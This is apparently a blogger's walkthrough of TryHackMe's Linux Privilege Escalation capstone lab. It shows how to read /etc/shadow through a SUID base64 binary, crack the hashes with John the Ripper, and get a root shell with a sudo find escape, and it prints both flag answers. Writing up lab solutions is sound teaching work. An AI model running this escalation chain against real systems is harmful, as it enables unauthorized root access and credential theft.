TryHackMe - Linux Privilege Escalation: Capstone Challenge

TryHackMe - Linux Privilege Escalation: Capstone Challenge

This article discusses the solution for TryHackMe's Linux Privilege Escalation Kernel Capstone Challenge tasks so proceed with caution.

I would suggest that you try to solve it on your own as you will learn a lot in the process of attempting. Try to give it your all until you feel that you are really hopelessly stuck.

Linux Privilege Escalation: Capstone Challenge Solution

What is the content of the flag1.txt file?

  1. Let's gather info first about the machine
uname -a
uname -r 
sudo -l
netstat -a
netstat -at
netstat -au
netstat -l 
  1. Let's go to /home where we will discover that there are two other users missy and rootflag. From the history we know that the flag2.txt is in rootflag user. So chances are the flag1.txt is in /home/missy.

    Screenshot 2024-02-12 at 10 52 50 PM

  2. Let's first try checking if there is a kernel exploit.

Screenshot 2024-02-12 at 10 57 42 PM

Let's make a quick look for a kernel exploit for version. 3.10.0-1160.el7.x86_64

  1. Let's check for sudo rights sudo -l. Unfortunately leonard has no sudo rights.

  2. Check for SUID privileges.

find / -type f -perm -04000 -ls 2>/dev/null

Screenshot 2024-02-12 at 11 10 10 PM

There are multiple binaries which our current user has SUID access. Let's go to to check if we can exploit any of these for root access.

We can exploit base64 to read /etc/passwd and /etc/shadow and find information about user missy. Unfortunately we can't find any info about rootflag in these files.

base64 "$LFILE" | base64 --decode


base64 "$LFILE" | base64 --decode


  1. Let's try cracking the password for missy. Create a local file passwd.txt and shadow.txt and copy the content from the target machine.

  2. Unshadow the files:

     unshadow passwd.txt shadow.txt > passwords.txt
  3. Run john the ripper on passwords.txt. Where we find that the password for missy is Password1

john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
  1. Now on the target machine let's switch user to missy and use the password **Password1
su missy
cd /home/missy/Documents
cat flag1.txt

Screenshot 2024-02-12 at 11 36 34 PM

Answer: THM-42828719920544

What is the content of the flag2.txt file?

  1. Continuing from what we have done above, the current user is now missy. Let's check her privileges by running sudo -l

  2. We find out that user missy has sudo priviliges for find. Looking at, we discover we have sudo exploits for the find binary.

  3. Let's execute what we have found in GTFObins which will spawn a terminal with root privileges.

sudo find . -exec /bin/sh \; -quit

Screenshot 2024-02-13 at 12 06 17 AM

  1. Now let's find out the content of flag2.txt which is found in /home/rootflag

Screenshot 2024-02-13 at 12 08 15 AM

Answer: THM-168824782390238

Until next time. Keep learning.

Stay stoked and code. :)

I hope you can voluntarily Buy Me A Coffee if you found this article useful and give additional support for me to continue sharing more content for the community. :)

Thank you very much. :)